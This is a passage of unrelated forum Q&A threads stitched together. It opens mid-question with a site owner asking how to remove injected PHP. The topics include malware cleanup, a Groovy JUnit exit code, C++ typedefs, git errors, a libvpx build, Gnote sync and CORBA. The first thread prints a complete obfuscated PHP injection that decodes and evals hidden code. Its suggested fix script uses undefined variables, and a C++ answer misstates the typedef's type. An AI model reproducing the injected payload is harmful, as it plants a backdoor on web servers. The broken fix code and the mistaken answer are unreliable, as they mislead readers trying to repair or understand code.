Also, I cannot just remove the entire line because there is other code after this code ends on the same line.
Either Python (my server only supports 3.2.3) or PHP would be fine.
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $leyjxkhvsg = '22!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%5f%163%x74%141%x72%164")2%162%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2s%x5c%x785csboe))1%x5c%x782f35.)14]y76]61]y33]68]y34]%x78256<pd%x5c%x7825w6Z6<.5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssbr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hx5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5cvg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%x78c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fbE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gx787f;!|!}{;)gj}l;33bq}k;opjud)ufttj%x5c%x7822)gj6<^#Y#%x5c%x75c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyfmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bu2#-#!#-%x5c%x7825tmw)%x5c%x7829]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*d[k2%x5c%x7860{6:!}7;!}6]y7d]252]y74]256#<!%x5c%x7825ggg)(56%x75%156%x61"]=1; c%x785c1^W%x5c%x7825c!>!%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)2qj%x5c%x7825)7gj6<**2qj%x5c%x7825)h%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x78#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c9y]<#%x5c%x782f%x5c%x7825c%x782fq%x5c%x7825>2q%x5c%x7825<#4]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bs-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%5%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x525!<*qp%x5c%x7825-*.%c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]8z-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}5y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%775]y83]248]y83]256]y81]265]y7if((function_exists("%x6f%142%xXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x78227error_reporting(0); preg_replace("c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x76g]257]y86]267]y74]275]yx7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825827&6<.fmjgA%x5c%x7827doj%x5c%x760ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7825!-#2#%x5c%x782f!osvufs}w;*%x5c%x787f!>>%x5c%x785tww**WYsboepn)%x5c%x7825bss-%x5c%x7%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x825<#462]47y]252]18y]#>q%x5c]y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]2x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)3238256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7885cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5f},;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|u%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfsx61%154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x727}88:}334}472%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x25c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5A%x5c%x78272qj%x5c%x78256<^#zsfv61%156%x75%156%x61"])))) { $GLOBALS["%x61%1860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%xr%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<*%x5c%x7825%x5c%x7878:-!%x5c%x7825tzw%x5c%%x7860hA%x5c%x7827pd%x5c%x78256<C%x;##}C;!>>!}W;utpi}Y;tuofuopd%*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%x78*#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782<**qp%x5c%x7825!-uyfu%x55c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5x5c%x7860bj+upcotn+qs%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7824y4%x5c:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c:55946-tr.984:75983:48984:71]Kww2!>#p#%x5c%x782f#p#%x5c%x782f%x5c3", NULL); }x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y3>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%c%x782f7^#iubq#%x5c%x785ce]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x57:]268]y7f#<!%x5c%x7825tww!>%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]25-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%xg2y]#>>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%22:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c25hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D63%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5cx782f%x5c%x7824)#P#-#Q#-#B#-#T#-of.)fepdof.%x5c%x782f#@#%x5c%x782fqp%%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!R17,67R37,#%x5c%x782fq%x5c%x7825>w6<*K)ftpmdXA6|7**197-2qj%x5c%x7c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#oj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x7875c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%71]y83]256]y78]248]y83]256]y81]265]y72]25824-%x5c%x7824tvctus)%x5c%x7825%x5c%x77825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*wx7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdc%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ey74]273]y76]252]y85]256]y},;uqpuft%x5c%x7860msv1M6]y3e]81#%x5c%x782f#7eP6]36]73]83]238M7]381]211M5]67]452]88]5]48]827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5cc%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5U<#16,47R57,27R66,#%xx7822#)fepmqyfA>2b%x5c%x78x7825j:^<!%x5c%x7825w%x5c%x7860%x%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x5c%x78b%x5c%x7825mm)|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|5c%x782f2986+7**^%x5c%x782f%x5c%x!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!x787f_*#ujojRk3%x5c%x7860{666~6<&w6<g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofu5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x77825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfwx5c%x7825>5h%x5c%x78f%x5c%x787f%x5c%x787f%x5c%x787f<u%x5c%xc%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfx7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%xx5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x7*X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_%x7825%x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~60{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x5c%x7860ufh%x5c%x786**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepd6]258]y6g]273]y76]271]y7d]252]y74]256#x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!*7825r%x5c%x7878<~!!%x5c%x7825s:N}#-5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd825z>3<!fmtf!%x5c%x7825z>2<!%x5x782f%x5c%x7825kj:-!OVMM*<(<5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x5c%x782f#00-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%opm3qjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufh}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5*1?hmg%x5c%x7825)!gj!<**2-4-function fjfgg($n){return chr(ord($n)-1);} @-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5c%#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]27125!<*::::::-111112)eobs%x5c%%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>32M3]317]445]212]445]43]321]464]284]36zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%j!~<ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825d}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;2]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]2824<!%x5c%x7825mm!>!#]y81]273]y7824*<!%x5c%x7824-%x5c%x7824gps)%fe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{8786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]oc%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudo!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x782f14+9**-)1%xq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvroj%x5c%x78257-C)fepmqnjA%x5c%x7opD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%0fmjg}[;ldpt%x5c%x7825}K;%x5c%x7882f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824%x2f%50%x2e%52%x29%57%x65","%x65%166%vmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5%x5c%x7825o:W%x5c%x78x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%7827,*b%x5c%x7827)fepdc%x7827u%x5c%x7825)7fmji%x5c%x7 && (!isset($GLOBALS["%x3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]5c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]/(.*)/epreg_replacecrgdohsctb'; $ctvuikaisu = explode(chr((281-237)),'1983,31,44,24,9920,24,3161,43,1024,20,8115,44,2068,34,9605,37,2955,50,68,62,5119,59,9495,52,9944,48,6877,69,6092,64,183,26,4867,60,3451,35,738,60,4415,47,4319,68,9889,31,9004,58,3272,54,543,69,5087,32,4700,41,5785,55,2014,54,1112,36,7866,64,3129,32,268,42,4070,25,9204,45,5286,54,706,32,2619,44,4230,51,911,56,9249,31,2216,32,2574,45,7315,57,2901,54,1766,70,7372,62,6460,36,5178,64,967,23,3486,29,7434,21,9335,33,2248,48,7652,50,6003,22,8663,60,2319,32,0,44,9697,70,6585,59,6644,69,404,62,798,40,612,64,8602,61,8493,36,4462,57,8087,28,1275,70,4603,40,6350,37,9116,67,4996,58,4001,69,6220,26,1650,21,7082,66,9368,67,3026,38,9867,22,4959,37,6767,20,8307,28,2173,43,6420,40,7822,44,3703,21,9642,34,9815,52,5340,63,209,59,7201,51,1508,53,2527,47,8567,35,7557,60,7148,53,3641,24,6826,51,2772,61,3204,68,2663,52,9062,54,502,41,4741,36,1148,45,5242,44,7455,64,8943,61,5452,68,6787,39,5720,65,8452,41,5054,33,6199,21,1366,34,6496,51,9280,55,8793,44,5589,52,676,30,1193,47,4565,38,2296,23,8195,45,1456,52,5403,49,2461,66,1954,29,8723,70,5978,25,2149,24,4387,28,8397,55,3362,48,3580,61,2715,57,3823,45,3724,47,4643,57,2433,28,8335,62,1836,69,3005,21,8879,32,7519,38,9547,58,1610,40,2102,47,5682,38,6946,68,6156,43,3771,52,2387,46,6547,38,5520,69,8911,32,466,36,7252,63,1345,21,1561,49,10057,49,7965,65,8030,57,1044,26,7761,61,7014,68,6713,54,5931,47,1709,57,3665,38,1671,38,838,30,2351,36,310,39,4095,66,3945,56,6025,24,3868,30,868,43,4833,34,3326,36,9767,48,9992,65,9435,60,7930,35,3515,65,4777,56,4161,69,6049,43,8529,38,1400,56,130,33,9183,21,6387,33,7617,35,9676,21,3064,65,2833,68,349,55,6279,50,6246,33,1070,42,4281,38,3898,35,5896,35,7702,31,5840,56,6329,21,3410,41,4927,32,1240,35,8159,36,7733,28,8240,67,990,34,8837,42,5641,41,163,20,4519,46,1905,49,3933,12'); $cqensojxnj=substr($leyjxkhvsg,(64237-54131),(38-31)); if (!function_exists('tkbpjyadoi')) { function tkbpjyadoi($zizmnehenk, $ftlltuhgpg) { $mldxhxpypx = NULL; for($vzvtopjgec=0;$vzvtopjgec<(sizeof($zizmnehenk)/2);$vzvtopjgec++) { $mldxhxpypx .= substr($ftlltuhgpg, $zizmnehenk[($vzvtopjgec*2)],$zizmnehenk[($vzvtopjgec*2)+1]); } return $mldxhxpypx; };} $dpwwlulbeo="\x20\57\x2a\40\x73\165\x79\162\x64\151\x63\161\x70\157\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\62\x34\55\x38\67\x29\51\x2c\40\x63\150\x72\50\x28\64\x33\61\x2d\63\x33\71\x29\51\x2c\40\x74\153\x62\160\x6a\171\x61\144\x6f\151\x28\44\x63\164\x76\165\x69\153\x61\151\x73\165\x2c\44\x6c\145\x79\152\x78\153\x68\166\x73\147\x29\51\x29\73\x20\57\x2a\40\x6a\145\x6f\160\x74\153\x79\146\x76\157\x20\52\x2f\40"; $anprzirkfy=substr($leyjxkhvsg,(36319-26206),(48-36)); $anprzirkfy($cqensojxnj, $dpwwlulbeo, NULL); $anprzirkfy=$dpwwlulbeo; $anprzirkfy=(587-466); $leyjxkhvsg=$anprzirkfy-1; ?>

A: I did see this before and the first line of infected files was something like this:
<?php ...-- obfuscated code --..... ?><?php

Exploit would insert bunch of php right at first line before opening php tag.
If you want to fix it with php you could use something like this:
#!/usr/local/bin/php
<?php
$arr = file($argv[1]);
if (preg_match ('/^<\?php(.*)<\?php/', array_shift ($arr), $m)) {
  array_unshift ($arr,str_replace($m[0],'<?php',$l));
  file_put_contents($in,join ("",$arr));
}

If you save that in file fix.php, you could call it like
find /path/to/dir/with/php/files -name "*.php" -exec ./fix.php {} \;

Doing recursive files search in php would be little bit silly for this as find can do it easier.


text:
Q: How do I make the `groovy` command exit non-zero for failing JUnit4 tests? When running JUnit tests with the groovy command using the built-in automatic test runner, it exits 0 even when tests fail.  I'd like the command to exit non-zero if there are test failures.  Is there a way I can do this?
#!/usr/bin/env groovy
import org.junit.*

class BasicTest {

  @Test
  void test_failure() {
    assert false
  }
}

$ groovy --version
Groovy Version: 3.0.2 JVM: 13.0.2 Vendor: Oracle Corporation OS: Mac OS X

$ groovy basic_test.groovy
JUnit 4 Runner, Tests: 1, Failures: 1, Time: 8
Test Failure: test_failure(BasicTest)
Assertion failed:

assert false

        at org.codehaus.groovy.runtime.InvokerHelper.assertFailed(InvokerHelper.java:434)
        ...

$ echo $?
0

Thanks folks!

A: Not seen people running tests like that before...  (writing them as a *nix script)
You can do this though, to catch a failure, and exiting with 1
#!/usr/bin/env groovy
import org.junit.*
import org.junit.rules.*

class BasicTest {

  @Rule
  public TestRule watchman = [
    failed: {e, d ->
      println d
      e.printStackTrace()
      System.exit(1)
    }
  ] as TestWatcher

  @Test
  void test_failure() {
    assert false
  }

}


text:
Q: A simple question about type coercion in C++ Given a function prototype, and a type definition:
int my_function(unsigned short x);
typedef unsigned short blatherskite;

Is the following situation defined by standard:
int main(int argc, char** argv) {
  int result;
  blatherskite b;

  b=3;
  result = my_function(b);
}

Do I get type coercion predictably via the function prototype?

A: If your question is really about whether the types of the argument and the parameter match, then the answer is yes. typedef does not introduce a new type, it only creates alias for an existing one. Variable b has type unsigned int, just like the parameter, even though b is declared using typedef-name blatherskite.
Your example is not very good for demonstrating that though. All integral types are convertible to each other in C++, so (ignoring range issues) the code would have defined behavior even if blatherskite designated a different type (a new type). But it doesn't. So this is also perfectly valid
void foo(unsigned int* p);
...
blatherskite *pb = 0;
foo(pb); // <- still valid

A: No type coercion is needed. The typedef is just an alias for the same type, so you're passing an unsigned short to a function that takes an unsigned short.


text:
Q: Process 'command 'git'' finished with non-zero exit value 128 I need your help. I currently handle a project from my company about android app and i need to modify some feature in the app. Since the previous development was not handled by me, i only have the app in zip format. when i try to run it on android studio app, it says that Process 'command 'git'' finished with non-zero exit value 128.I tried to figure out the thing and i thought the problem is on the version control git but still i have not idea how to fix it.Hope you guys can help me.

A: Go to your project. There is a directory call ".git" It is a hidden directory. if it is not visible to active "show hide icons". Then delete that ".git" folder and try to build it again

A: You need to configure Android Studio for Git:
https://javapapers.com/android/android-studio-git-tutorial/

A: Gradle 7.5.1
In my case, that cause by the fork GitHub project not default contains upstream tags
with error fatal: No names found, cannot describe anything. is a git prompt
so I simply add try-catch surround with exec codes

A: I got the same problem after downloading the vlc open source code then when I built the project: Process 'command 'git'' finished with non-zero exit value 128 error occurred. You have to configure git in Android studio. Go to VCS in android studio and enable it from there, then add your project to git, commit it, finally build again, see everything's sorted.


text:
Q: Compilation fails in libvpx while building CSipSimple source I am trying to build CSipSimple for android by following the steps mentioned here https://sourceforge.net/p/csipsimple/wiki/HowToBuild/?version=1 but facing following issue after executing make command :-
make
make[1]: Entering directory /home/tajintder/Desktop/Drive_D/CSipSimple-master/jni/libvpx' Cloning into 'sources'... fatal: repository 'https://code.google.com/p/webm.libvpx/' not found /bin/sh: 2: cd: can't cd to sources fatal: Not a git repository (or any parent up to mount point /home/tajintder/Desktop/Drive_D) Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set). fatal: Not a git repository (or any parent up to mount point /home/tajintder/Desktop/Drive_D) Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set). fatal: Not a git repository (or any parent up to mount point /home/tajintder/Desktop/Drive_D) Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set). make[1]: * [sources] Error 128 make[1]: Leaving directory/home/tajintder/Desktop/Drive_D/CSipSimple-master/jni/libvpx'
make: * [jni/libvpx/sources] Error 2
It would be nice if anyone can help me out from this problem.

A: I got the same error
I solved it by downloading the repository manually from here
Extract the files in /jni/libvpx/
It should have one folder named libvpx
Change the directory name to sources
Hope this help


text:
Q: Ubuntu 20.04 with Gnote sync with Rainy or Grauphel Nextcloud app After the Tomboy Ubuntu application was discontinued there is Gnote as replacement. But it lacks the api synchronization service (yet?) which was present in 18.04 Tomboy. This I used with the Nextcloud Grauphel app on both the Ubuntu desktop and Android Tomdroid.
I was stuck with ubuntu 18.04 for a long period of time due to this and other discontinued applications but I had to upgrade recently.
The Gnote gitlab page and the Gnote wiki page give no clue, if there is any TODO list of if the server sync will be an option in near future.
I am using the Tomdroid Android app and this in turn offers no WebDAV sync. Local directory sync is no option for me on both Android neither on Ubuntu.
The Tomboy-ng is a very weak replacement too offering even less sync options.
I am stuck with the question how to use my thousands of notes now..

A: I just did a dirty workaround and installed latest available Tomboy Notes from deb.
https://packages.ubuntu.com/bionic/amd64/tomboy/download
First I need to manually install all dependencies, which were luckily only matter of "apt install".

dpkg: dependency problems prevent configuration of tomboy:
tomboy depends on libappindicator0.1-cil; however:
Package libappindicator0.1-cil is not installed.
tomboy depends on libdbus-glib2.0-cil (>= 0.6); however:
Package libdbus-glib2.0-cil is not installed.
tomboy depends on libdbus2.0-cil (>= 0.8.1); however:
Package libdbus2.0-cil is not installed.
tomboy depends on libgconf2.0-cil (>= 2.24.0); however:
Package libgconf2.0-cil is not installed.
tomboy depends on libglib2.0-cil (>= 2.12.40); however:
Package libglib2.0-cil is not installed.
tomboy depends on libgmime2.6-cil; however:
Package libgmime2.6-cil is not installed.
tomboy depends on libgtk2.0-cil (>= 2.12.40); however:
Package libgtk2.0-cil is not installed.
tomboy depends on libgtkspell0; however:
Package libgtkspell0 is not installed.
tomboy depends on libmono-addins-gui0.2-cil (>= 1.0); however:
Package libmono-addins-gui0.2-cil is not installed.
tomboy depends on libmono-addins0.2-cil (>= 1.0); however:
Package libmono-addins0.2-cil is not installed.
tomboy depends on libmono-cairo4.0-cil (>= 4.0.4.1); however:
Package libmono-cairo4.0-cil is not installed.
tomboy depends on libmono-posix4.0-cil (>= 4.6.1.3); however:
Package libmono-posix4.0-cil is not installed.
tomboy depends on gconf2 (>= 2.28.1-2); however:
Package gconf2 is not installed.

Only the libgconf2.0-cil has no source in current 20.04 repos, so downloaded and installed from here:
https://www.ubuntuupdates.org/package/core/bionic/universe/base/libgconf2.0-cil
I am back to normal.
IMHO Gnote should implement the Tomboy web service sync to be considered full replacement.


text:
Q: CORBA differentiate servant behavior on the ip of server (incomming request) I would like to create CORBA server application with 1 or many servants (for example HelloWorld).
Server will be run on machine with many ipaddresses.
For example I got only 1 method in the object HelloWorld -> sayHello().
However I would like to return different results (for example Hello in different language) based on the ip reached by the client.
example:
SERVER1 with two ips: IP 1.1.1.1, IP 2.2.2.2.

*

*client invokes method on ip 1.1.1.1 should get response "Hello".

*client invokes method on ip 2.2.2.2 should get response "Hi".

How to promote interface ip to HelloWorld sayHello() method that I could response relevant?
I do not have possiblity to change client implementation. My goal is to simulate a lot of the CORBA servers on a single machine. Of course all CORBA servers have different state (different helloworld answer). Is it possible? How?
Please help! Thank you in advance!

A: There is no portable way to know that, that I am aware of. Remember that CORBA tries very hard to hide the transport from the application, and CORBA can run over a variety of transports, not just TCP/IP. The ORB in your server is going to be listening on those 2 IP address and send client requests into the POA. I don't think the IP address is propagated that far. If there is any support for that at all it would be specific to your ORB.